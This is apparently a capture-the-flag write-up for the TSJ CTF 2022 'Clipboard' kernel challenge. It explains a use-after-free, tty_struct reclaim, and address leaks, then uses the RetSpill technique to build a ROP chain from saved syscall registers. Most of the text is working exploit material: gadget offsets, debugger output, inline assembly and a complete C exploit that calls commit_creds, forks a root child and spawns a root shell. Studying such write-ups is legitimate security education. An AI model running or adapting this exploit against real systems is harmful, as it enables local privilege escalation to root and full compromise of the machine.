The Clipboard challenge from TSJ CTF 2022 exposes a small Linux kernel module with one global
heap pointer. Opening the device twice and closing one descriptor leaves the
global pointer dangling. I reclaim the freed kmalloc-1k object with a
tty_struct, leak the kernel and heap addresses, and replace tty->ops with a
fake operation table.
That first part is a familiar tty_struct UAF pattern. I covered the reclaim,
the ptm_unix98_ops leak, fake tty_operations, and the /dev/ptmx trigger in
detail in my earlier tty_struct UAF write-up.
Here I will go through it quickly and focus on the new part: using RetSpill
to turn registers saved in pt_regs into a kernel ROP chain.
The final chain is:
open /dev/clipboard twice
-> close the second descriptor and free the global 0x400-byte object
-> reclaim it with a tty_struct allocated by opening /dev/ptmx
-> stale read leaks ptm_unix98_ops and a tty self-pointer
-> stale write installs the needed fake tty_operations entries at tty + 0x3c0
-> syscall entry saves controlled registers in pt_regs
-> fake ops->close executes ret 0x118
-> tty_release continues with RSP moved onto pt_regs
-> fake ops->shutdown skips exactly 0x40 bytes to saved R15
-> spilled registers become a ROP chain
-> commit_creds(&init_cred)
-> __x64_sys_fork creates a root child
-> msleep parks the corrupted parent path in this build
-> child returns to userspace and opens a root shell
1. Challenge setup
The launcher enables SMEP and SMAP:
-cpu qemu64,+smep,+smap
-append "console=ttyS0 oops=panic panic=1 quiet"
The original launcher does not explicitly pass nokaslr. In myy local GDB
launcher I did add it to keep addresses stable while deriving the chain, to recognize patterns instead of extra debugging all the time.
The module exposes:
/dev/clipboard
The userspace request is:
typedef struct query {
pid_t pid;
unsigned short length;
char data[0x400];
} Query;
Two ioctls copy up to 0x400 bytes through the global pointer:
#define CMD_READ 0x4000
#define CMD_WRITE 0x4001
2. The UAF and why /dev/ptmx is useful
The bug is caused by one pointer shared by every open file:
char *clipboard_data;
int clipboard_open(struct inode *inode, struct file *file)
{
clipboard_data = kmalloc(0x400, GFP_KERNEL);
if (!clipboard_data)
return -1;
memset(clipboard_data, 0, 0x400);
return 0;
}
int clipboard_release(struct inode *inode, struct file *file)
{
kfree(clipboard_data);
return 0;
}
The pointer is overwritten on every open and is not cleared after kfree().
The exploit performs:
int fd1 = open("/dev/clipboard", O_RDWR); /* allocation A */
int fd2 = open("/dev/clipboard", O_RDWR); /* allocation B, global now points here */
close(fd2); /* free B, global still points to B */
fd1 still reaches the global pointer through ioctl, so it can read and
write allocation B after it has been freed.
Opening /dev/ptmx allocates a tty_struct from the same kmalloc-1k cache:
int ptmx = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
After a successful reclaim:
clipboard_data --------|
v
[ tty_struct ]
^
ptmx file descriptor --|
The stale clipboard ioctls modify the object, while close(ptmx) makes the TTY
subsystem call function pointers from that same object. This is why
/dev/ptmx is useful bceause it supplies a reclaimable object with a static operations
pointer for deriving the kernel image base and callbacks for recovering
control flow for RIP.
For the full allocator and object-layout explanation, see From tty_struct UAF to modprobe_path.
3. Leaking the kernel and heap addresses
Reading 0x400 bytes through the dangling pointer discloses the reclaimed
tty_struct. In this kernel build, the useful values are:
offset value use
------ ---------------------------- --------------------------------
+0x18 0xffffffff820a9d00 tty->ops = ptm_unix98_ops
+0x40 0xffff8880049c2038 pointer to tty + 0x38
The kernel base is recovered from the known ptm_unix98_ops offset:
uint64_t ops = *(uint64_t *)&buf[0x18];
uint64_t kbase = ops - 0x10a9d00;
The pointer at +0x40 reveals the allocation address:
uint64_t tty_member = *(uint64_t *)&buf[0x40];
uint64_t tty = tty_member - 0x38;
Every static kernel address in the exploit is rebased with:
#define KADDR(address) \
(kbase + ((address) - 0xffffffff81000000ULL))
At this point the exploit has:
stale read/write over tty_struct
kernel base
tty_struct address
The remaining problem is turning tty->ops control into a useful ROP chain.
4. RetSpill in this challenge
When an x86-64 process enters the kernel with syscall, the entry code switches
to the task's kernel stack and constructs struct pt_regs at a predictable
location near one end of it.
The important observation is:
attacker controls userspace registers
|
v
syscall entry saves them in pt_regs
|
v
attacker-controlled 64-bit values now exist on the kernel stack
RetSpill reuses those saved words as ROP data. It avoids spraying a separate kernel ROP stack; the syscall entry code has already placed controlled values on the current kernel stack.
This exploit needs two control-flow steps:
tty_operations->closeexecutes aret imm16gadget that movesrsptopt_regsbut returns to the legitimatetty_releasecontinuation.- A later
tty_operations->shutdowncallback skips to savedr15and returns into the first real ROP gadget.
5. Mapping pt_regs
The useful start of the x86-64 layout is:
| Offset | Saved register |
|---|---|
+0x00 | r15 |
+0x08 | r14 |
+0x10 | r13 |
+0x18 | r12 |
+0x20 | rbp |
+0x28 | rbx |
+0x30 | r11 |
+0x38 | r10 |
+0x40 | r9 |
+0x48 | r8 |
+0x50 | rax |
+0x58 | rcx |
+0x60 | rdx |
+0x68 | rsi |
+0x70 | rdi |
+0x78 | orig_rax |
For a debugger-only layout test, I temporarily replaced the useful register values in the combined syscall block with recognizable markers:
uint64_t values[] = {
0x4141414141414146, /* r15 */
0x4141414141414147, /* r14 */
0x4141414141414148, /* r13 */
0x4141414141414149, /* r12 */
0x414141414141414a, /* r10 */
0x414141414141414b, /* r9 */
0x414141414141414c, /* r8 */
(uint64_t)(unsigned int)fd, /* rdi */
};
The pattern to look for, relative to the start of pt_regs, is:
+0x00 0x4141414141414146 0x4141414141414147 <- r15, r14
+0x10 0x4141414141414148 0x4141414141414149 <- r13, r12
+0x20 <saved rbp> <saved rbx>
+0x30 <user RFLAGS> 0x414141414141414a <- r11, r10
+0x40 0x414141414141414b 0x414141414141414c <- r9, r8
rbp and rbx are not loaded by this layout. r11 is also inconvenient
because syscall uses it for the userspace flags. I therefore designed the
chain to skip those three slots.
6. Keep the register loads and syscall together
My first attempt set r15..r8 in one inline-assembly block, ended that block,
and invoked close with a separate C statement. That is not reliable because
the compiler can emit more instructions and reuse those registers before the
syscall executes. So that didn't worked out for me.
Listing a register as clobbered tells the compiler that its previous value is destroyed; it does not reserve the register forever. The compiler may reuse it immediately after the assembly block. In the failed binary, it generated:
movslq %r12d, %rdi
The low 32 bits of a gadget address became the close file descriptor. The
syscall returned -EBADF, and my breakpoint was reached later during process
exit rather than during the intended close.
The reliable solution loads every spill register and performs syscall 3 (close) in one assembly block:
static long trigger_close(int fd, uint64_t kbase)
{
uint64_t values[] = {
POP_RDI, /* r15 */
INIT_CRED, /* r14 */
RET_0X18, /* r13 */
RET, /* r12 */
COMMIT_CREDS, /* r10 */
SYS_FORK, /* r9 */
MSLEEP, /* r8 */
(uint64_t)(unsigned int)fd
};
long result;
asm volatile(
".intel_syntax noprefix\n\t"
"mov rax, %[values]\n\t"
"mov r15, [rax + 0x00]\n\t"
"mov r14, [rax + 0x08]\n\t"
"mov r13, [rax + 0x10]\n\t"
"mov r12, [rax + 0x18]\n\t"
"mov r10, [rax + 0x20]\n\t"
"mov r9, [rax + 0x28]\n\t"
"mov r8, [rax + 0x30]\n\t"
"mov rdi, [rax + 0x38]\n\t"
"mov eax, 3\n\t"
"syscall\n\t"
".att_syntax prefix\n\t"
: "=&a"(result)
: [values] "r"(values)
: "rcx", "r11", "rdi", "r8", "r9", "r10",
"r12", "r13", "r14", "r15", "memory", "cc"
);
return result;
}
There is now no compiler-generated instruction between the register loads and
syscall.
At the first callback breakpoint, I also checked the syscall number saved in
orig_rax:
x/gx $rsp+0x198
It must contain 3:
0xffffc900005cbfd0: 0x0000000000000003
If it contains 0xe7, the breakpoint came from exit_group, not the intended
close. That path has a different stack layout and produces the wrong RetSpill
offset.
7. Measuring the first callback-to-pt_regs distance
The fake close callback was reached with:
rsp = 0xffffc900005cbe38
saved pt_regs.r15 = 0xffffc900005cbf58
The distance is:
p/x 0xffffc900005cbf58 - 0xffffc900005cbe38
$ = 0x120
The values can also be inspected relative to callback rsp:
x/4gx $rsp+0x120
x/3gx $rsp+0x158
x/gx $rsp+0x198
$rsp+0x120 r15, r14, r13, r12
$rsp+0x158 r10, r9, r8
$rsp+0x198 orig_rax
This measurement must be performed on the same direct-close path used by the final exploit.
8. Why the first gadget is ret 0x118
An x86 ret imm16 performs:
RIP = *(uint64_t *)RSP
RSP = RSP + 8 + imm16
The required total movement is 0x120, so:
8 + 0x118 = 0x120
The correct gadget is therefore:
0xffffffff8176bf6f: ret 0x118
It is not ret 0x120: that would move rsp by 0x128 after including the
eight-byte return-address pop.
At callback entry, the first stack word is the legitimate return address:
[rsp] = tty_release+0x139
The gadget produces:
before:
RIP = ret 0x118
RSP = ...be38
after:
RIP = tty_release+0x139
RSP = ...bf58 = &pt_regs.r15
This first gadget changes rsp, but it does not execute the value in r15.
The kernel continues through tty_release with the shifted stack pointer. A
second controlled callback is needed to return into the spilled values.
9. Building the needed tty_operations prefix
This kernel stores tty->ops at tty + 0x18. The two callbacks used by the
exploit are:
ops + 0x20 -> close
ops + 0x28 -> shutdown
The fake table must not overwrite fields that tty_release still needs. An
early attempt placed it near tty + 0x30, which put the fake shutdown value
at tty + 0x58. That offset contains things needed by tty so the kernel
crashed in tty_ldisc_close after interpreting gadget bytes as a structure.
The leaked object showed unused zero-filled tail space, so I placed the prefix
of the table needed by this release path at tty + 0x3c0:
#define FAKE_OPS_OFF 0x3c0
*(uint64_t *)&buf[0x18] = tty + FAKE_OPS_OFF;
memset(&buf[FAKE_OPS_OFF], 0, 0x40);
*(uint64_t *)&buf[FAKE_OPS_OFF + 0x20] = RET_0X118;
*(uint64_t *)&buf[FAKE_OPS_OFF + 0x28] = SKIP_TO_R15;
This initialized 0x40-byte prefix occupies tty + 0x3c0..0x3ff, stays inside
the reclaimed 0x400-byte allocation, and leaves the live tty_struct fields
intact. The complete kernel struct tty_operations is larger; the exploit only
needs the entries reached before the second pivot takes control.
At the first breakpoint, the table can be checked with:
set $tty = $rdi
set $ops = *(unsigned long *)($tty+0x18)
p/x $ops
x/4gx $ops+0x18
x/gx $tty+0x58
With the kernel slide disabled in the GDB run, the expected callbacks are:
$ops+0x20 close = 0xffffffff8176bf6f
$ops+0x28 shutdown = 0xffffffff813312a0
tty+0x58 must remain a normal ffff888... heap pointer, not a kernel gadget
address. The exploit writes the rebased KADDR(...) values when a slide is
present.
10. Finding the second pivot through shutdown
After the first pivot, tty_release eventually reaches
tty_release_struct, which calls the later callback:
mov rax, [rbx+0x18] ; tty->ops
mov rax, [rax+0x28] ; ops->shutdown
test rax, rax
je no_shutdown
mov rdi, rbx
call __x86_indirect_thunk_rax
At entry to the controlled shutdown callback:
shutdown rsp = ...bf18
saved pt_regs.r15 = ...bf58
distance = 0x40
The selected gadget is:
0xffffffff813312a0:
add rsp, 0x28
pop rbx
pop r12
pop rbp
ret
Its movement before the final ret is exactly:
add rsp, 0x28 -> +0x28
three pops -> +0x18
total -> +0x40
The final ret reads the value stored in saved r15 and leaves rsp pointing
to saved r14:
RIP = pt_regs.r15
RSP = &pt_regs.r14
I verified it with:
b *0xffffffff813312a0
b *0xffffffff81b85bb1
c
x/gx $rsp+0x40
At the skip gadget, $rsp+0x40 must contain:
0xffffffff81b85bb1 # pop rdi; ret
Five si commands execute the add, three pops, and final ret. The next
breakpoint should be pop rdi; ret with rsp pointing to saved r14.
My earlier four-pop gadget was too short:
pop rbx; pop r12; pop r13; pop rbp; ret
Four pops advance only 0x20 before the final ret. It consumed the word at
...bf38, which happened to contain the tty_struct heap address. The kernel
then tried to execute the NX-protected heap page. That crash proved that
shutdown was reached, but the skip length was wrong.
11. Building the ROP chain from saved registers
The required symbols and gadgets are:
| Name | Link-time address | Purpose |
|---|---|---|
POP_RDI | 0xffffffff81b85bb1 | pop rdi; ret |
INIT_CRED | 0xffffffff82665c00 | address of init_cred |
RET_0X18 | 0xffffffff81a1d6ea | ret 0x18 |
RET | 0xffffffff81e022b9 | plain ret |
COMMIT_CREDS | 0xffffffff810c2d90 | install credentials |
SYS_FORK | 0xffffffff81092bf0 | __x64_sys_fork |
MSLEEP | 0xffffffff8112dab0 | build-specific parent landing |
They are placed in pt_regs as follows:
| Saved slot | Value | Why it is there |
|---|---|---|
r15 | POP_RDI | first target of the shutdown pivot |
r14 | INIT_CRED | value consumed by pop rdi |
r13 | RET_0X18 | skip over unusable saved slots |
r12 | RET | bridge from ret 0x18 to r10 |
rbp | unused | skipped |
rbx | unused | skipped |
r11 | user flags | skipped |
r10 | COMMIT_CREDS | first kernel function |
r9 | SYS_FORK | create a root child |
r8 | MSLEEP | park the parent in this build |
The exact ROP chain is now:
shutdown skip gadget
|
| ret reads saved r15
v
pop rdi; ret
|
| rdi = saved r14 = &init_cred
| ret reads saved r13
v
ret 0x18
|
| pop saved r12 into rip: plain ret
| skip saved rbp, rbx, and r11
| rsp now points to saved r10
v
plain ret
|
| ret reads saved r10
v
commit_creds(&init_cred)
|
| function return reads saved r9
v
__x64_sys_fork
|
| parent return reads saved r8
v
msleep
The plain ret in r12 is a bridge. ret 0x18 must get its immediate target
from r12, but the useful function pointer is after the three skipped slots in
r10. Returning through a plain ret fetches COMMIT_CREDS from r10.
12. Why fork and msleep finish the exploit
commit_creds(&init_cred) changes the credentials of the current task, but the
kernel is still executing on a deliberately corrupted return path. Trying to
unwind the rest of tty_release normally would eventually use uncontrolled
stack words.
Calling __x64_sys_fork after changing the credentials creates a child that
inherits the root credentials. On this kernel, x86 copy_thread() copies
current_pt_regs() into the child's frame and sets the child's saved rax to
zero. The child therefore starts through the normal ret_from_fork/syscall
exit path and continues after the syscall instruction in trigger_close();
it does not unwind the parent's ROP stack.
The parent remains on the RetSpill path and returns from __x64_sys_fork into
the value stored in saved r8, which is msleep here. In this exact build it
stays parked long enough for the child to continue. This is not a portable
RetSpill epilogue: the chain does not load a fresh millisecond argument into
rdi, and rdi is caller-saved across __x64_sys_fork. A reusable chain
should explicitly set the argument or end in a non-returning kernel path.
The child reaches:
if (getuid() == 0)
execl("/bin/sh", "sh", NULL);
This is why the chain does not need a hand-built swapgs; iretq frame. The
forked child provides the clean return to userspace.
13. Reading the failed attempts
The failures were useful because each one identified a different bad assumption:
| Symptom | Meaning | Fix |
|---|---|---|
orig_rax == 0xe7 | callback came from process exit, not explicit close | load registers and issue syscall in one assembly block |
| target reaches the inaccessible next stack page | first ret imm16 is too large | measure the direct-close stack layout again |
crash in tty_ldisc_close using gadget bytes as a pointer | fake ops overlaps live tty_struct fields | move fake ops to tty+0x3c0 |
NX fault at the tty_struct heap address after shutdown | second pivot returned through an earlier heap-valued slot | skip exactly 0x40 to saved r15 |
x/i $rsp+offset prints nonsense | GDB is disassembling stack bytes, not the pointer stored there | inspect with x/gx, then dereference for x/i |
The correct way to inspect a spilled gadget is:
x/gx $rsp+0x120
x/2i *(unsigned long *)($rsp+0x120)
14. End-to-end control flow
The two measured distances explain the final exploit:
First callback:
close callback RSP -> pt_regs.r15 = 0x120 bytes
ret 0x118 movement = 8 + 0x118 = 0x120
Second callback:
shutdown callback RSP -> r15 = 0x40 bytes
add rsp,0x28 + three pops = 0x28 + 0x18 = 0x40
The complete state transition is:
userspace
|
| r15 = pop_rdi
| r14 = init_cred
| r13 = ret_0x18
| r12 = ret
| r10 = commit_creds
| r9 = __x64_sys_fork
| r8 = msleep (build-specific parent landing)
| syscall(__NR_close, ptmx)
v
kernel pt_regs
|
| tty->ops->close
v
ret 0x118
|
| return to tty_release, move rsp to &pt_regs.r15
v
tty->ops->shutdown
|
| exact 0x40-byte skip
v
pt_regs ROP chain
|
v
commit_creds(&init_cred) -> fork -> root child -> normal syscall exit -> shell
15. Full exploit
#define _GNU_SOURCE
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <unistd.h>
#define CMD_READ 0x4000
#define CMD_WRITE 0x4001
#define DATA_SIZE 0x400
#define FAKE_OPS_OFF 0x3c0
#define KADDR(address) (kbase + ((address) - 0xffffffff81000000ULL))
#define INIT_CRED KADDR(0xffffffff82665c00ULL)
#define COMMIT_CREDS KADDR(0xffffffff810c2d90ULL)
#define POP_RDI KADDR(0xffffffff81b85bb1ULL)
#define RET KADDR(0xffffffff81e022b9ULL)
#define RET_0X18 KADDR(0xffffffff81a1d6eaULL)
#define SYS_FORK KADDR(0xffffffff81092bf0ULL)
#define MSLEEP KADDR(0xffffffff8112dab0ULL)
#define RET_0X118 KADDR(0xffffffff8176bf6fULL)
#define SKIP_TO_R15 KADDR(0xffffffff813312a0ULL)
typedef struct query {
pid_t pid;
unsigned short length;
char data[DATA_SIZE];
} Query;
static void die(const char *message)
{
perror(message);
exit(EXIT_FAILURE);
}
static void pin_to_cpu0(void)
{
cpu_set_t cpus;
CPU_ZERO(&cpus);
CPU_SET(0, &cpus);
if (sched_setaffinity(0, sizeof(cpus), &cpus) == -1)
die("sched_setaffinity");
}
static int clipboard_read(int fd, void *output)
{
Query request = {
.pid = getpid(),
.length = DATA_SIZE,
};
int result = ioctl(fd, CMD_READ, &request);
if (result < 0)
return result;
memcpy(output, request.data, DATA_SIZE);
return result;
}
static int clipboard_write(int fd, const void *input)
{
Query request = {
.pid = getpid(),
.length = DATA_SIZE,
};
memcpy(request.data, input, DATA_SIZE);
return ioctl(fd, CMD_WRITE, &request);
}
static long trigger_close(int fd, uint64_t kbase)
{
uint64_t values[] = {
POP_RDI, /* r15 */
INIT_CRED, /* r14 */
RET_0X18, /* r13 */
RET, /* r12 */
COMMIT_CREDS, /* r10 */
SYS_FORK, /* r9 */
MSLEEP, /* r8 */
(uint64_t)(unsigned int)fd,
};
long result;
asm volatile(
".intel_syntax noprefix\n\t"
"mov rax, %[values]\n\t"
"mov r15, [rax + 0x00]\n\t"
"mov r14, [rax + 0x08]\n\t"
"mov r13, [rax + 0x10]\n\t"
"mov r12, [rax + 0x18]\n\t"
"mov r10, [rax + 0x20]\n\t"
"mov r9, [rax + 0x28]\n\t"
"mov r8, [rax + 0x30]\n\t"
"mov rdi, [rax + 0x38]\n\t"
"mov eax, 3\n\t"
"syscall\n\t"
".att_syntax prefix\n\t"
: "=&a"(result)
: [values] "r"(values)
: "rcx", "r11", "rdi", "r8", "r9", "r10",
"r12", "r13", "r14", "r15", "memory", "cc"
);
return result;
}
int main(void)
{
pin_to_cpu0();
int fd1 = open("/dev/clipboard", O_RDWR);
int fd2 = open("/dev/clipboard", O_RDWR);
if (fd1 == -1 || fd2 == -1)
die("/dev/clipboard");
if (close(fd2) == -1)
die("close clipboard");
int ptmx = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx == -1)
die("/dev/ptmx");
uint8_t buffer[DATA_SIZE] = {0};
if (clipboard_read(fd1, buffer) < 0)
die("CMD_READ");
uint64_t ops = *(uint64_t *)&buffer[0x18];
uint64_t kbase = ops - 0x10a9d00;
uint64_t tty_member = *(uint64_t *)&buffer[0x40];
uint64_t tty = tty_member - 0x38;
printf("[+] tty->ops: 0x%016" PRIx64 "\n", ops);
printf("[+] kbase: 0x%016" PRIx64 "\n", kbase);
printf("[+] tty: 0x%016" PRIx64 "\n", tty);
*(uint64_t *)&buffer[0x18] = tty + FAKE_OPS_OFF;
memset(&buffer[FAKE_OPS_OFF], 0, 0x40);
*(uint64_t *)&buffer[FAKE_OPS_OFF + 0x20] = RET_0X118;
*(uint64_t *)&buffer[FAKE_OPS_OFF + 0x28] = SKIP_TO_R15;
if (clipboard_write(fd1, buffer) < 0)
die("CMD_WRITE");
long result = trigger_close(ptmx, kbase);
if (getuid() == 0) {
puts("[+] root child returned to userspace");
execl("/bin/sh", "sh", NULL);
die("execl");
}
fprintf(stderr, "[-] close returned unexpectedly: %ld\n", result);
for (;;)
pause();
}

References
- RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections
- My earlier tty_struct UAF write-up
- Linux 5.14 x86
struct pt_regs - Linux 5.14
struct tty_operations - Linux 5.14
tty_release - Linux 5.14 x86 syscall entry
- Linux 5.14 x86
copy_thread - UIUCTF 2025 RetSpill write-up
- Supplied
clipboard.c,vmlinux, and finalexp.c